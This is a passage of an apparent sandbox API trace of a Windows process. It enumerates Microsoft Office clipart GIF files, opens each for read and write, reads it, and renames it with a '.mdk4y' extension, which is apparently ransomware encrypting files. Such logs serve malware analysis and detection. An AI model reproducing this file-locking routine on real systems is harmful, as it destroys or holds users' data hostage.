lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01240_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.434] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.434] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14d, lpOverlapped=0x0) returned 1 [0175.435] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif.mdk4y")) returned 1 [0175.436] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.436] AreFileApisANSI () returned 1 [0175.436] GetACP () returned 0x4e4 [0175.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01241_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01241_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.436] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.436] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x182, lpOverlapped=0x0) returned 1 [0175.437] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif.mdk4y")) returned 1 [0175.438] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.438] AreFileApisANSI () returned 1 [0175.438] GetACP () returned 0x4e4 [0175.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01242_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01242_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.438] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.438] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x158, lpOverlapped=0x0) returned 1 [0175.439] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif.mdk4y")) returned 1 [0175.440] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.440] AreFileApisANSI () returned 1 [0175.440] GetACP () returned 0x4e4 [0175.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01243_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01243_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.440] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.441] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1af, lpOverlapped=0x0) returned 1 [0175.442] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif.mdk4y")) returned 1 [0175.443] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.443] AreFileApisANSI () returned 1 [0175.443] GetACP () returned 0x4e4 [0175.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01244_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01244_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.443] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.443] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d3, lpOverlapped=0x0) returned 1 [0175.444] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif.mdk4y")) returned 1 [0175.445] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.445] AreFileApisANSI () returned 1 [0175.445] GetACP () returned 0x4e4 [0175.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01245_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01245_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.446] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.446] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x155, lpOverlapped=0x0) returned 1 [0175.447] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif.mdk4y")) returned 1 [0175.448] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.448] AreFileApisANSI () returned 1 [0175.448] GetACP () returned 0x4e4 [0175.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01246_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01246_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.448] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.448] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ce, lpOverlapped=0x0) returned 1 [0175.449] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif.mdk4y")) returned 1 [0175.450] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.450] AreFileApisANSI () returned 1 [0175.450] GetACP () returned 0x4e4 [0175.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01253_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01253_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.450] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.450] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xff7, lpOverlapped=0x0) returned 1 [0175.452] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif.mdk4y")) returned 1 [0175.452] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.453] AreFileApisANSI () returned 1 [0175.453] GetACP () returned 0x4e4 [0175.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01268_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01268_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.453] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.453] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ab, lpOverlapped=0x0) returned 1 [0175.454] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif.mdk4y")) returned 1 [0175.455] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.455] AreFileApisANSI () returned 1 [0175.455] GetACP () returned 0x4e4 [0175.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01292_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01292_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.455] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.456] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x255, lpOverlapped=0x0) returned 1 [0175.457] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif.mdk4y")) returned 1 [0175.459] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.459] AreFileApisANSI () returned 1 [0175.459] GetACP () returned 0x4e4 [0175.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01293_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01293_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.459] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.460] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a7, lpOverlapped=0x0) returned 1 [0175.461] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif.mdk4y")) returned 1 [0175.489] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.489] AreFileApisANSI () returned 1 [0175.489] GetACP () returned 0x4e4 [0175.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01294_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01294_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.489] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.489] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2ad, lpOverlapped=0x0) returned 1 [0175.490] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif.mdk4y")) returned 1 [0175.491] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.491] AreFileApisANSI () returned 1 [0175.491] GetACP () returned 0x4e4 [0175.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01295_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01295_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.491] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.492] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x161, lpOverlapped=0x0) returned 1 [0175.493] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif.mdk4y")) returned 1 [0175.493] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.493] AreFileApisANSI () returned 1 [0175.493] GetACP () returned 0x4e4 [0175.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01296_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01296_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.493] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.494] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ef, lpOverlapped=0x0) returned 1 [0175.495] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif.mdk4y")) returned 1 [0175.495] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.495] AreFileApisANSI () returned 1 [0175.495] GetACP () returned 0x4e4 [0175.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01297_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01297_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.496] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.496] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x37e, lpOverlapped=0x0) returned 1 [0175.497] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif.mdk4y")) returned 1 [0175.498] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.498] AreFileApisANSI () returned 1 [0175.498] GetACP () returned 0x4e4 [0175.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01298_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01298_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.498] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.499] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2bc, lpOverlapped=0x0) returned 1 [0175.500] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif.mdk4y")) returned 1 [0175.501] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.501] AreFileApisANSI () returned 1 [0175.501] GetACP () returned 0x4e4 [0175.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01299_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01299_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.501] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.501] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13e, lpOverlapped=0x0) returned 1 [0175.502] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif.mdk4y")) returned 1 [0175.503] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.503] AreFileApisANSI () returned 1 [0175.503] GetACP () returned 0x4e4 [0175.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01300_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01300_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.503] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.503] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x250, lpOverlapped=0x0) returned 1 [0175.504] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), lpNewFileName="C:\\Program Files\\Microsoft 